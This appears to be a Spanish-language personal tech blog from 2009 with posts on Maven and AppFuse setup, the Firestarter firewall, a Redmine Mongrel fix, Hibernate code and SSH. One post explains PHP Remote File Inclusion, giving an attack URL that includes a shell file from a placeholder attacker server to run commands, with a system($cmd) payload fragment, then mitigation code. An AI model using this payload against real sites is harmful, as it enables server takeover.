lunes, 23 de noviembre de 2009

Maven

Hola, muchos de los que trabajamos desarrollando j2ee, conocemos ant, como herramienta de automatización del deploy del proyecto, la evolucion de ant es maven, el cual a travez de comenados descarga automaticamente desde los repositorios las librerias y dependencias para la aplicación. Aqui veremos como trabaja Maven 2 para el proyecto appfuse 2.

Primero debemos descargar maven 2.x desde su web, http://maven.apache.org/download.html#Installation para este ejemplo descargue el archivo apache-maven-2.2.1-bin.tar.gz

Luego lo descomprimi en mi directorio de programas, creando el siguiente directorio:

/home/slack/programas/apache-maven-2.2.1

con el siguiente contenido:

slack@zion:~/programas/apache-maven-2.2.1$ ls -la
total 48
drwxr-xr-x 6 slack slack 4096 2009-11-23 12:35 .
drwxr-xr-x 18 slack slack 4096 2009-11-23 12:35 ..
drwxr-xr-x 2 slack slack 4096 2009-11-23 12:35 bin
drwxr-xr-x 2 slack slack 4096 2009-11-23 12:35 boot
drwxrwxrwx 2 slack slack 4096 2009-08-06 15:11 conf
drwxr-xr-x 2 slack slack 4096 2009-11-23 12:35 lib
-rw-r--r-- 1 slack slack 12933 2009-08-06 15:11 LICENSE.txt
-rw-r--r-- 1 slack slack 923 2009-08-06 15:11 NOTICE.txt
-rw-r--r-- 1 slack slack 2532 2009-08-06 15:11 README.txt


Luego que tenemos el directorio de Maven, debemos declararlo en las variables de entorno para poder utilizarlo. como lo descomprimimos en el directorio de usuario modificaremos el profile, en caso contrario el enviromment

Entonces vamos a la consola y escribimos el sigte. comando para editar nuestro profile:

slack@zion:~/programas/apache-maven-2.2.1$ sudo nano /etc/profile

ingresamos la password de root para poder editar el archivo, y agregamos la sigte linea, ademas debemos agregar la variable al export.

MAVEN_HOME=/home/slack/programas/apache-maven-2.2.1

export ANT_HOME JAVA_HOME CATALINA_HOME TOMCAT_HOME AWT_TOOLKIT=MToolkit MATLAB_JAVA MAVEN_HOME

Tambien debemos agregar el bin de Maven al path, en el archivo enviromment, ejecutamos el sigte. comando, con sudo para poder editar:

slack@zion:~/programas/apache-maven-2.2.1$ sudo nano /etc/environment

y agregamos el bin de Maven al path, como se muestra abajo:

PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/home/slack/programas/apache-maven-2.2.1/bin"

Una vez hecho esto debemos cerrar la consola, y esperar que los demonios del sistema actualicen las variables, en caso contrario bastara con reiniciar. Para confirmar que tenemos bien configurado Maven ejecutamos:

slack@zion:~/programas/apache-maven-2.2.1$ mvn --version
Apache Maven 2.2.1 (r801777; 2009-08-06 15:16:01-0400)
Java version: 1.5.0_12
Java home: /home/slack/programas/java/jdk1.5.0_12/jre
Default locale: es_CL, platform encoding: UTF-8
OS name: "linux" version: "2.6.28-15-generic" arch: "i386" Family: "unix"

Esto nos despliega la informacion del contexto para ejecutar Maven (mvn)

Ahora ya podemos ejecutar mvn para nuestros proyectos, debemos para este ejemplo tener instalado Mysql, utilizaremos mvn para appfuse2, entonces vamos al directorio de nuestros proyectos, y ejecutamos la sigte. linea

slack@zion:~/desarrollo$ mvn archetype:create -DarchetypeGroupId=org.appfuse.archetypes -DarchetypeArtifactId=appfuse-basic-spring -DremoteRepositories=http://static.appfuse.org/releases -DarchetypeVersion=2.0.2 -DgroupId=cl.xerox.app -DartifactId=appfuse2

En esta linea le decimos a maven nuestra estructura de packages y el nombre del proyecto. al ejecutar el comando se comienza la descarga de las dependencias del proyecto, mediante POM.xml (proyect object model), este es el log resumido:

[INFO] Scanning for projects...
[INFO] Searching repository for plugin with prefix: 'archetype'.
[INFO] org.apache.maven.plugins: checking for updates from central
[INFO] org.codehaus.mojo: checking for updates from central
[INFO] artifact org.apache.maven.plugins:maven-archetype-plugin: checking for updates from central
Downloading: http://repo1.maven.org/maven2/org/apache/maven/plugins/maven-archetype-plugin/2.0-alpha-4/maven-archetype-plugin-2.0-alpha-4.pom

Downloading: http://repo1.maven.org/maven2/org/apache/maven/archetype/maven-archetype/2.0-alpha-4/maven-archetype-2.0-alpha-4.pom

Downloading: http://repo1.maven.org/maven2/org/apache/maven/maven-parent/9/maven-parent-9.pom

Downloading: http://repo1.maven.org/maven2/org/apache/apache/4/apache-4.pom

Downloading: http://repo1.maven.org/maven2/org/apache/maven/plugins/maven-archetype-plugin/2.0-alpha-4/maven-archetype-plugin-2.0-alpha-4.jar

[INFO] ------------------------------------------------------------------------
[INFO] Building Maven Default Project
[INFO] task-segment: [archetype:create] (aggregator-style)
[INFO] ------------------------------------------------------------------------
Downloading: http://repo1.maven.org/maven2/org/apache/maven/archetype/archetype-common/2.0-alpha-4/archetype-common-2.0-alpha-4.pom

Downloading: http://repo1.maven.org/maven2/dom4j/dom4j/1.6.1/dom4j-1.6.1.jar

Downloading: http://repo1.maven.org/maven2/org/codehaus/plexus/plexus-velocity/1.1.3/plexus-velocity-1.1.3.jar
Downloading: http://repo1.maven.org/maven2/velocity/velocity-dep/1.4/velocity-dep-1.4.jar

[INFO] Setting property: classpath.resource.loader.class => 'org.codehaus.plexus.velocity.ContextClassLoaderResourceLoader'.
[INFO] Setting property: velocimacro.messages.on => 'false'.
[INFO] Setting property: resource.loader => 'classpath'.
[INFO] Setting property: resource.manager.logwhenfound => 'false'.
[INFO] [archetype:create {execution: default-cli}]
[WARNING] This goal is deprecated. Please use mvn archetype:generate instead
[INFO] Defaulting package to group ID: cl.xerox.app
[INFO] We are using command line specified remote repositories: http://static.appfuse.org/releases
Downloading: http://static.appfuse.org/releases/org/appfuse/archetypes/appfuse-basic-spring/2.0.2/appfuse-basic-spring-2.0.2.jar
77K downloaded (appfuse-basic-spring-2.0.2.jar)
[INFO] ----------------------------------------------------------------------------
[INFO] Using following parameters for creating OldArchetype: appfuse-basic-spring:2.0.2
[INFO] ----------------------------------------------------------------------------
[INFO] Parameter: groupId, Value: cl.xerox.app
[INFO] Parameter: packageName, Value: cl.xerox.app
[INFO] Parameter: basedir, Value: /home/slack/desarrollo
[INFO] Parameter: package, Value: cl.xerox.app
[INFO] Parameter: version, Value: 1.0-SNAPSHOT
[INFO] Parameter: artifactId, Value: appfuse2
.
.
.
[INFO] OldArchetype created in dir: /home/slack/desarrollo/appfuse2
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESSFUL
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 2 minutes
[INFO] Finished at: Mon Nov 23 11:56:57 GMT-04:00 2009
[INFO] Final Memory: 9M/67M
[INFO] ------------------------------------------------------------------------
slack@zion:~/desarrollo$


Listo, esto se demora alrededor de unos 5 a 10 min, dependiendo la velocidad de tu red. ahora debemos ejecutar el comando que creara la base de datos (mismo nombre del proyecto) o la seteamos al final del archivo pom.xml, la ejecucion anterior nos creo el proyecto del nuestro directorio de proyectos con el sigte. contenido:

slack@zion:~/desarrollo/appfuse2$ ls -la
total 56
drwxr-xr-x 4 slack slack 4096 2009-11-23 13:40 .
drwxrwxrwx 58 slack slack 4096 2009-11-23 13:55 ..
-rw-r--r-- 1 slack slack 33142 2009-11-23 12:56 pom.xml
-rw-r--r-- 1 slack slack 863 2009-11-23 12:56 README.txt
drwxr-xr-x 5 slack slack 4096 2009-11-23 12:56 src
drwxr-xr-x 9 slack slack 4096 2009-11-23 13:42 target
slack@zion:~/desarrollo/appfuse2$

Entonces ejecutamos, el comando que hara el deploy automatico y descargara las librerias faltantes del proyecto que creamos con el comando anterior, ademas arrancara jetty, Jetty es un servidor HTTP y un contenedor de Servlets escrito en Java y open source.

Para desplegar la aplicación basta con ejecutar mvn jetty:run-war en el directorio del proyecto.

slack@zion:~/desarrollo/appfuse2$ mvn jetty:run-war

este es un resumen de la ejecución del comando, esta tarea se demora aprox 20 min, dependiendo tu velocidad

Downloading: http://static.appfuse.org/repository/jboss/javassist/3.3.ga/javassist-3.3.ga.jar
Downloading: http://static.appfuse.org/repository/freemarker/freemarker/2.3.8/freemarker-2.3.8.jar

Downloading: http://static.appfuse.org/repository/org/apache/maven/reporting/maven-reporting-impl/2.0.4/maven-reporting-impl-2.0.4.jar
225K downloaded (doxia-core-1.0-alpha-7.jar)

Downloading: http://static.appfuse.org/repository/commons-collections/commons-collections/2.1.1/commons-collections-2.1.1.jar
13K downloaded (maven-reporting-impl-2.0.4.jar)
Downloading: http://static.appfuse.org/repository/commons-logging/commons-logging-api/1.0.4/commons-logging-api-1.0.4.jar
[INFO] Unable to find resource 'commons-collections:commons-collections:jar:2.1.1' in repository appfuse (http://static.appfuse.org/repository)

Downloading: http://static.appfuse.org/repository/org/hibernate/hibernate-validator/3.0.0.ga/hibernate-validator-3.0.0.ga.jar
[INFO] Unable to find resource 'org.hibernate:hibernate-validator:jar:3.0.0.ga' in repository appfuse (http://static.appfuse.org/repository)
Downloading: http://static.appfuse.org/repository/org/hibernate/hibernate-validator/3.0.0.ga/hibernate-validator-3.0.0.ga.jar
[INFO] Unable to find resource 'org.hibernate:hibernate-validator:jar:3.0.0.ga' in repository appfuse (http://static.appfuse.org/repository)
Downloading: http://repo1.maven.org/maven2/org/hibernate/hibernate-validator/3.0.0.ga/hibernate-validator-3.0.0.ga.jar

[INFO] [hibernate3:hbm2ddl {execution: default}]
[INFO] Configuration XML file loaded: file:/home/slack/desarrollo/appfuse2/src/main/resources/hibernate.cfg.xml
[INFO] Configuration XML file loaded: file:/home/slack/desarrollo/appfuse2/src/main/resources/hibernate.cfg.xml
[INFO] Configuration Properties file loaded: /home/slack/desarrollo/appfuse2/target/classes/jdbc.properties
alter table user_role drop foreign key FK143BF46AF503D155;
alter table user_role drop foreign key FK143BF46A4FD90D75;
drop table if exists app_user;
drop table if exists role;
drop table if exists user_role;
create table app_user (id bigint not null auto_increment, account_expired bit not null, account_locked bit not null, address varchar(150), city varchar(50) not null, country varchar(100), postal_code varchar(15) not null, province varchar(100), credentials_expired bit not null, email varchar(255) not null unique, account_enabled bit, first_name varchar(50) not null, last_name varchar(50) not null, password varchar(255) not null, password_hint varchar(255), phone_number varchar(255), username varchar(50) not null unique, version integer, website varchar(255), primary key (id)) ENGINE=InnoDB;
create table role (id bigint not null auto_increment, description varchar(64), name varchar(20), primary key (id)) ENGINE=InnoDB;
create table user_role (user_id bigint not null, role_id bigint not null, primary key (user_id, role_id)) ENGINE=InnoDB;
alter table user_role add index FK143BF46AF503D155 (user_id), add constraint FK143BF46AF503D155 foreign key (user_id) references app_user (id);
alter table user_role add index FK143BF46A4FD90D75 (role_id), add constraint FK143BF46A4FD90D75 foreign key (role_id) references role (id);
[WARNING] 2 errors occurred while performing .
[INFO] Unable to find resource 'junit-addons:junit-addons:pom:1.4' in repository appfuse (http://static.appfuse.org/repository)
Downloading: http://repo1.maven.org/maven2/junit-addons/junit-addons/1.4/junit-addons-1.4.pom

Downloading: http://static.appfuse.org/repository/junit/junit/4.0/junit-4.0.jar
Downloading: http://static.appfuse.org/repository/org/apache/maven/surefire/surefire-junit4/2.4.3/surefire-junit4-2.4.3.jar
[INFO] Unable to find resource 'org.apache.maven.surefire:surefire-junit4:jar:2.4.3' in repository appfuse (http://static.appfuse.org/repository)
Downloading: http://repo1.maven.org/maven2/org/apache/maven/surefire/surefire-junit4/2.4.3/surefire-junit4-2.4.3.jar
[INFO] Unable to find resource 'junit:junit:jar:4.0' in repository appfuse (http://static.appfuse.org/repository)
Downloading: http://repo1.maven.org/maven2/junit/junit/4.0/junit-4.0.jar

[INFO] Surefire report directory: /home/slack/desarrollo/appfuse2/target/surefire-reports

-------------------------------------------------------
T E S T S
-------------------------------------------------------
Running cl.xerox.app.AppTest
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.081 sec

Results :

Tests run: 1, Failures: 0, Errors: 0, Skipped: 0

[INFO] [dbunit:operation {execution: test}]
Downloading: http://static.appfuse.org/repository/org/apache/maven/maven-plugin-api/2.0.1/maven-plugin-api-2.0.1.pom
643b downloaded (maven-plugin-api-2.0.1.pom)
Downloading: http://static.appfuse.org/repository/org/apache/maven/maven/2.0.1/maven-2.0.1.pom
11K downloaded (maven-2.0.1.pom)
Downloading: http://static.appfuse.org/repository/org/apache/maven/maven-archiver/2.2/maven-archiver-2.2.pom
1K downloaded (maven-archiver-2.2.pom)
Downloading: http://static.appfuse.org/repository/org/apache/maven/shared/maven-shared-components/3/maven-shared-components-3.pom
1K downloaded (maven-shared-components-3.pom)
Downloading: http://static.appfuse.org/repository/org/codehaus/plexus/plexus-archiver/1.0-alpha-7/plexus-archiver-1.0-alpha-7.pom
1K downloaded (plexus-archiver-1.0-alpha-7.pom)
Downloading: http://static.appfuse.org/repository/org/codehaus/plexus/plexus-utils/1.2/plexus-utils-1.2.pom
767b downloaded (plexus-utils-1.2.pom)
Downloading: http://static.appfuse.org/repository/org/apache/maven/maven-artifact/2.0.1/maven-artifact-2.0.1.pom
765b downloaded (maven-artifact-2.0.1.pom)
Downloading: http://static.appfuse.org/repository/org/apache/maven/maven-archiver/2.2/maven-archiver-2.2.jar
Downloading: http://static.appfuse.org/repository/org/codehaus/plexus/plexus-archiver/1.0-alpha-7/plexus-archiver-1.0-alpha-7.jar
9K downloaded (maven-archiver-2.2.jar)
138K downloaded (plexus-archiver-1.0-alpha-7.jar)
[INFO] [war:war {execution: default-war}]
[INFO] Exploding webapp...
[INFO] Assembling webapp appfuse2 in /home/slack/desarrollo/appfuse2/target/appfuse2-1.0-SNAPSHOT
[INFO] Copy webapp webResources to /home/slack/desarrollo/appfuse2/target/appfuse2-1.0-SNAPSHOT
[INFO] Expanding: /home/slack/.m2/repository/org/appfuse/appfuse-spring/2.0.2/appfuse-spring-2.0.2.war into /home/slack/desarrollo/appfuse2/target/war/work/appfuse-spring-2.0.2
[INFO] Expanding: /home/slack/.m2/repository/org/appfuse/appfuse-web-common/2.0.2/appfuse-web-common-2.0.2.war into /home/slack/desarrollo/appfuse2/target/war/work/appfuse-web-common-2.0.2
[INFO] Overlaying 2 war(s).
[INFO] Generating war /home/slack/desarrollo/appfuse2/target/appfuse2-1.0-SNAPSHOT.war
[INFO] Building war: /home/slack/desarrollo/appfuse2/target/appfuse2-1.0-SNAPSHOT.war
Downloading: http://static.appfuse.org/repository/org/mortbay/jetty/jetty/6.1.9/jetty-6.1.9.pom
[INFO] Unable to find resource 'org.mortbay.jetty:jetty:pom:6.1.9' in repository appfuse (http://static.appfuse.org/repository)
Downloading: http://snapshots.repository.codehaus.org/org/mortbay/jetty/jetty/6.1.9/jetty-6.1.9.pom
[INFO] Unable to find resource 'org.mortbay.jetty:jetty:pom:6.1.9' in repository codehaus.org (http://snapshots.repository.codehaus.org)
Downloading: http://repo1.maven.org/maven2/org/mortbay/jetty/jetty/6.1.9/jetty-6.1.9.pom

Downloading: http://static.appfuse.org/repository/org/mortbay/jetty/jetty-util/6.1.9/jetty-util-6.1.9.pom
[INFO] Unable to find resource 'org.mortbay.jetty:jetty-util:pom:6.1.9' in repository appfuse (http://static.appfuse.org/repository)
Downloading: http://snapshots.repository.codehaus.org/org/mortbay/jetty/jetty-util/6.1.9/jetty-util-6.1.9.pom
[INFO] Unable to find resource 'org.mortbay.jetty:jetty-util:pom:6.1.9' in repository codehaus.org (http://snapshots.repository.codehaus.org)
Downloading: http://static.appfuse.org/repository/org/mortbay/jetty/jetty-util/6.1.9/jetty-util-6.1.9.pom
[INFO] Unable to find resource 'org.mortbay.jetty:jetty-util:pom:6.1.9' in repository appfuse (http://static.appfuse.org/repository)
Downloading: http://repo1.maven.org/maven2/org/mortbay/jetty/jetty-util/6.1.9/jetty-util-6.1.9.pom

Downloading: http://static.appfuse.org/repository/org/mortbay/jetty/servlet-api-2.5/6.1.9/servlet-api-2.5-6.1.9.pom
[INFO] Unable to find resource 'org.mortbay.jetty:servlet-api-2.5:pom:6.1.9' in repository appfuse (http://static.appfuse.org/repository)
Downloading: http://snapshots.repository.codehaus.org/org/mortbay/jetty/servlet-api-2.5/6.1.9/servlet-api-2.5-6.1.9.pom
[INFO] Unable to find resource 'org.mortbay.jetty:servlet-api-2.5:pom:6.1.9' in repository codehaus.org (http://snapshots.repository.codehaus.org)
Downloading: http://static.appfuse.org/repository/org/mortbay/jetty/servlet-api-2.5/6.1.9/servlet-api-2.5-6.1.9.pom
[INFO] Unable to find resource 'org.mortbay.jetty:servlet-api-2.5:pom:6.1.9' in repository appfuse (http://static.appfuse.org/repository)
Downloading: http://repo1.maven.org/maven2/org/mortbay/jetty/servlet-api-2.5/6.1.9/servlet-api-2.5-6.1.9.pom

[INFO] [jetty:run-war {execution: default-cli}]
[INFO] Configuring Jetty for project: AppFuse Spring MVC Application
2009-11-23 12:42:31.506::INFO: Logging to STDERR via org.mortbay.log.StdErrLog
[INFO] Context path = /
[INFO] Tmp directory = determined at runtime
[INFO] Web defaults = org/mortbay/jetty/webapp/webdefault.xml
[INFO] Web overrides = none
[INFO] Starting jetty 6.1.9 ...
2009-11-23 12:42:31.648::INFO: jetty-6.1.9
2009-11-23 12:42:31.667::INFO: Extract jar:file:/home/slack/desarrollo/appfuse2/target/appfuse2-1.0-SNAPSHOT.war!/ to /home/slack/desarrollo/appfuse2/target/work/webapp
2009-11-23 12:42:32.062::INFO: No Transaction manager found - if your webapp requires one, please configure one.
2009-11-23 12:42:34.317:/:INFO: Initializing Spring root WebApplicationContext
2009-11-23 12:42:44.535:/:INFO: Initializing Spring FrameworkServlet 'dispatcher'
2009-11-23 12:42:45.031::INFO: Started SelectChannelConnector@0.0.0.0:8080
[INFO] Started Jetty Server
[INFO] Starting scanner at interval of 3 seconds.
^C2009-11-23 13:38:54.748::INFO: Shutdown hook executing
2009-11-23 13:38:55.286:/:INFO: Destroying Spring FrameworkServlet 'dispatcher'
2009-11-23 13:38:55.289:/:INFO: Closing Spring root WebApplicationContext
2009-11-23 13:38:55.297::INFO: Shutdown hook complete
[INFO] Jetty server exiting.
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESSFUL
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 76 minutes 29 seconds
[INFO] Finished at: Mon Nov 23 13:38:55 GMT-04:00 2009
[INFO] Final Memory: 37M/84M
[INFO] ------------------------------------------------------------------------
slack@zion:~/desarrollo/appfuse2$

Vemos ahí que tambien esta la configuiración de la base de datos, creacion de tablas, test de aplicacion y levantamiento del servidor jetty en el puerto 8080. ahora solo vamos al browser y abrimos la url: http://localhost:8080/login.jsp

user: admin
passwd: admin




Saludos y suerte !!
bee free.... use linux..

Firewall en Linux

Hola, la seguridad en linux es controlable, y configurable desde los mismos archivos de configuración del sistema. Podemos definir aqui reglas de seguridad con ipables, puertos que se pueden ver desde afuera al ejecutar un nmap u otros ping.
Sabemos que linux es un sistema operativo robusto y seguro, libre de virus, a direferecia del ventanukos el cual ya viene desde el cd de instalación con multiples troyanos y espias que hacen que el sistema ande mucho mas lento y sea totalmente bulnerable a los ataques.
Sin embargo Linux tambien debe ser configurado para hacerlo mas seguro, aunque no hay virus si existen los ataques, pero para esto tenemos ene de opciones seguras y ademas open source.
Aqui presentamos una bastante buena. hablo de un firewall llamado firestarter.

Firestarter es una herramienta Grafica (GUI) o Desktop Firewall, para poder asegurar parte de sus servicios que tiene instalado en su Distribución GNU/Linux. Esta herramienta permite realizar mediante un wizard NAT, y despues solo copiar el dir /etc/firestarter y el /etc/init.d/firestarter a cualquier otro servidor incluso si estos últimos no tienen instalado interfaz X, además los scripts que genera son estrucuturados cuando se quiere tener un firewall restrictivo tanto con las conexiones entrantes y las salientes (NAT) asi configuras tus politicas para bloquear todo y solo permitir lo que se quiera, yo asi lo tengo, usando la opcion restrictive, pero ya todos los puertos y configuraciones que tambien las puede realizar manualmente.

Podemos realizar la instalacion facilmente con APT o mediante Webmin.

Explicare aqui los pasos para la instalacion por APT desde la consola.

entonces, abrimos una consola y escribimos los siguiente:

Paso 1: buscamos firestarter en los repositorios

slack@zion:~$ apt-cache search firestarter
firestarter - gtk program for managing and observing your firewall

Paso 2: Realizamos la instalación

slack@zion:~$ sudo apt-get install firestarter
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias
Leyendo la información de estado... Hecho
Se instalaron de forma automática los siguientes paquetes y ya no son necesarios.
sendmail-base m4 procmail sensible-mda sendmail-cf
Utilice «apt-get autoremove» para eliminarlos.
Se instalarán los siguientes paquetes extras:
menu
Paquetes sugeridos:
dhcp3-server
Se instalarán los siguientes paquetes NUEVOS:
firestarter menu
0 actualizados, 2 se instalarán, 0 para eliminar y 42 no actualizados.
Necesito descargar 855kB de archivos.
Se utilizarán 4002kB de espacio de disco adicional después de esta operación.
¿Desea continuar [S/n]?

Damos S con mayuscula

Leyendo lista de paquetes... Hecho
Creando árbol de dependencias
Leyendo la información de estado... Hecho
Se instalaron de forma automática los siguientes paquetes y ya no son necesarios.
sendmail-base m4 procmail sensible-mda sendmail-cf
Utilice «apt-get autoremove» para eliminarlos.
Se instalarán los siguientes paquetes extras:
menu
Paquetes sugeridos:
dhcp3-server
Se instalarán los siguientes paquetes NUEVOS:
firestarter menu
0 actualizados, 2 se instalarán, 0 para eliminar y 42 no actualizados.
Necesito descargar 855kB de archivos.
Se utilizarán 4002kB de espacio de disco adicional después de esta operación.
¿Desea continuar [S/n]? S
Des:1 http://cl.archive.ubuntu.com jaunty/universe menu 2.1.41ubuntu1 [438kB]
Des:2 http://cl.archive.ubuntu.com jaunty/universe firestarter 1.0.3-7ubuntu5 [417kB]
Descargados 855kB en 9s (89,2kB/s)
Seleccionando el paquete menu previamente no seleccionado.
(Leyendo la base de datos ...
152901 ficheros y directorios instalados actualmente.)
Desempaquetando menu (de .../menu_2.1.41ubuntu1_i386.deb) ...
Seleccionando el paquete firestarter previamente no seleccionado.
Desempaquetando firestarter (de .../firestarter_1.0.3-7ubuntu5_i386.deb) ...
Procesando disparadores para man-db ...
Procesando disparadores para doc-base ...
Processing 1 added doc-base file(s)...
Registering documents with scrollkeeper...
Configurando menu (2.1.41ubuntu1) ...

Procesando disparadores para menu ...
Configurando firestarter (1.0.3-7ubuntu5) ...

Procesando disparadores para menu ...
slack@zion:~$

Paso 3: la instalacion se completo exitosamente, podemos ir al menu Aplicaciones-> Internet -> Firestarter, esto nos lanza la ventana de inicio del firewall para su configuracion inicial. La vemos en las siguientes pantallas.











Listo, tenemos el firewall en linux corriendo.

Saludos y suerte !!

jueves, 8 de octubre de 2009

Error al arrancar mongrel en redmine

Hola, redmine es un administrador de proyectos y tareas open source, escrito en ruby onrail's, implementa mongrel.
Mongrel es un servidor HTTP para aplicaciones escritas en Ruby cuya principal característica es la velocidad, por defecto redmine utiliza dos procesos mongrel para el servicio http, pudiendo agregar otros process id mongrel para mejorar el rendimiento de la aplicación.

algunas veces cuando queremos arrancar redmine por consola ocurre lo siguiente:

slack@zion:~/programas/redmine-0.8.1-2$ ./ctlscript.sh start
nohup: redirecting stderr to stdout
Starting mysqld.bin daemon with databases from /home/slack/programas/redmine-0.8.1-2/mysql/data
/home/slack/programas/redmine-0.8.1-2/mysql/scripts/ctl.sh : mysql started at port 3307
starting port 3001
** !!! PID file tmp/pids/mongrel.3001.pid already exists. Mongrel could be running already. Check your log/mongrel.3001.log for errors. ** !!! Exiting with error. You must stop mongrel and clear the .pid before I'll attempt a start.

starting port 3002
** !!! PID file tmp/pids/mongrel.3002.pid already exists. Mongrel could be running already. Check your log/mongrel.3002.log for errors. ** !!! Exiting with error. You must stop mongrel and clear the .pid before I'll attempt a start.
Syntax OK
/home/slack/programas/redmine-0.8.1-2/apache2/scripts/ctl.sh : httpd started at port 8080
/home/slack/programas/redmine-0.8.1-2/subversion/scripts/ctl.sh : subversion started at port 3690

El log nos indica que el servicio mongrel no pudo arrancar porque ya existen pids corriendo para este servicio, sin embargo redmine esta abajo. para solucionar este problema debemos asegurarnos que los servicios utilizados esten abajo, para lo cual bajamos en modo comando redmine y sus servicios, como se indica:

slack@zion:~/programas/redmine-0.8.1-2$ ./ctlscript.sh stop
/home/slack/programas/redmine-0.8.1-2/subversion/scripts/ctl.sh : subversion stopped
Syntax OK
/home/slack/programas/redmine-0.8.1-2/apache2/scripts/ctl.sh : httpd stopped
already stopped port 3001
already stopped port 3002
/home/slack/programas/redmine-0.8.1-2/mysql/scripts/ctl.sh : mysql stopped

Ahora debemos eliminar los pids relacionados al error anterior, debemos ir a la siguiente ruta, ejecutar el comando ls, para listar los pids que debemos eliminar:

slack@zion:~/programas/redmine-0.8.1-2/apps/redmine/tmp/pids$ ls
mongrel.3001.pid mongrel.3002.pid

slack@zion:~/programas/redmine-0.8.1-2/apps/redmine/tmp/pids$ rm *.*

Ahora volvemos a arrancar Redmine, con comandos y vemos que el log ya no nos impide levantar correctamente los servicios.

slack@zion:~/programas/redmine-0.8.1-2$ ./ctlscript.sh start
nohup: redirecting stderr to stdout
Starting mysqld.bin daemon with databases from /home/slack/programas/redmine-0.8.1-2/mysql/data
/home/slack/programas/redmine-0.8.1-2/mysql/scripts/ctl.sh : mysql started at port 3307
starting port 3001
starting port 3002
Syntax OK
/home/slack/programas/redmine-0.8.1-2/apache2/scripts/ctl.sh : httpd started at port 8080
/home/slack/programas/redmine-0.8.1-2/subversion/scripts/ctl.sh : subversion started at port 3690

Ingresamos por el browser, http://localhost:8089/redmine (en mi caso lo tengo configurado en el puerto 8089)

nos debe despliegar una pagina similar a la siguiente,




Saludos y suerte !!

lunes, 28 de septiembre de 2009

Hibernate y sessionFactory

En este ejemplo se muestra como trabajar con hibernate y session, para el metodo save

Código 1:

import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.Transaction;
import org.springframework.orm.hibernate3.HibernateTemplate;

public void saveAccounting(Accounting accounting){
// Obtenemos el sessionFactory que nos aportará la session y hibernateTemplate
SessionFactory sessionFactory = getSessionFactory();
// Obtenemos la session para iniciar la transaccion
Session session = sessionFactory.openSession();
// Obtenemos el HibernateTemplate que nos aportará
// las funcionalidades para comunicarnos con la BD
HibernateTemplate hibernateTemplate = new HibernateTemplate(sessionFactory);
// Iniciamos la transacción
Transaction transaccion = session.beginTransaction();
try {
getHibernateTemplate().save(accounting);
// Hacemos el commit de la transación
transaccion.commit();
session.close();
} catch (Exception e) {
transaccion.rollback();
e.printStackTrace();
}
}

Código 2:

public void saveAccounting(Accounting accounting){
getHibernateTemplate().save(accounting);
getHibernateTemplate().flush();
}

Espero que les sirva, saludos !!

miércoles, 23 de septiembre de 2009

Instalar SSH en Linux

apt (herramienta de administración de paquetes)

apt-get install ssh

Algunos comandos:

ssh root@ip-maquina:/path del directorio

Facil y bonito , use open source !!

Saludos

martes, 2 de junio de 2009

Remote File Inclusion (RFI)

RFI (Remote File Inclusion), es Inclusión Remota de Archivos - vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene la función include(). jajajajja

Este tipo de vulnerabilidad no se da en páginas programadas en ASP o en cualquier otro tipo de lenguaje similar que no contenga la posibilidad de la inclusión remota de archivos ajenos al servidor.

Resumen del ataque

Las funciones include, include_once, require, require_once son utilizadas para incluir en una misma página otras páginas a la vez, por la necesidad de utilizar un código fuente o por otras diversas razones de programación.

Este es un tipo de una página vulnerable, donde a traves de la url se invoka de mala forma a otra página:

http://[servidor_victima]/index.php?page=plantilla.html


El atacante podrá obtener una Shell en el servidor vulnerable mediante lo siguiente:

http://[servidor_victima]/index.php?page=http://[servidor_atacante]/shell.txt&&cmd=ls

Pudiendo contener el archivo shell.txt cualquier código, por ejemplo:

system($cmd);
?>

El archivo debe tener una extensión distinta a cualquier otra que se pueda ejecutar en el servidor del atacante (.txt,.gif, etc), una extensión ".php" no sería válida, ya que en el servidor víctima al incluir el fichero con extensión.php se estaría ejecutando antes el código php en el servidor del atacante; recordemos que el código php se ejecuta en el servidor y el usuario solo puede ver el resultado, es por esto que el código del script malicioso debe ir con una extensión distinta, ya que la función include, require, require_once, include_once ejecutaría el código php contenido en el fichero que se pasa como parámetro a la función, sin importar la extensión que tenga.

Lo que la víctima incluye en su página son secciones que se pasan a la variable page según el ejemplo anterior

include_once($page)
?>


Detener el ataque

Para detener este tipo de ataques, el programador debe filtrar correctamente la variable ejemplo:

if ($url=="seccion")
include ($url.".php");
?>

ó

include ("./".$url.".php");
?>

ó

switch($url) {
case 0:include ("./contenidos/estapagina.php"); break;
case 1:include ("./contenidos/estaotra.php"); break;
default: include("./contenidos/error.php"); break;
}
?>

ó

$url = intval($_GET['url']); //$url solo contendrá un valor entero.
$pagina = "./contenidos/cont".$url.".php";
if (file_exists($pagina))
include($pagina);
?>

Prevenir el Ataque


Para prevenir este tipo de ataques, es posible utilizar o bien el indicador "./" para advertir que el archivo debe encontrarse en el directorio actual u otro indicador tal como "includes/". Ejemplo:


?>

De esta forma no podría utilizar la variable page para RFI.


Otra solución más avanzada es aplicar una validación de la variable enviada como parámetro, descartando la inclusión de archivos remotos no deseados.


die('Error. intento de RFI..');
else
include ($url);
?>

Con este código evitas este tipo de ataques, que son fáciles de solucionar pero que muchos programadores no se dan cuenta o no dan importancia.

Por esto y muchas cosas más en mejor Java.

Saludos y suerte !!

lunes, 25 de mayo de 2009

Migrando a Linux

Una de las cosas más frustrantes para un usuario de Linux es escuchar las quejas de aquellas personas que se han aventurado (o que han sido obligados) a migrar a Linux sin la correcta asesoría. El día a día no da tiempo a la mayoría de personas para aprender por si mismas todas las cosas diferentes que tiene Linux. Por esta razón yo considero que es necesario tener una guía, preferiblemente alguien que ya maneje el sistema y que nos pueda ayudar.
Esta Guía va dirigida a aquellos lectores de este blog que ya usan Linux y que son bombardeados por sus amigos con preguntas (y quejas) acerca de la migración. El tema de hoy:


5 temas a abordar antes de probar Linux



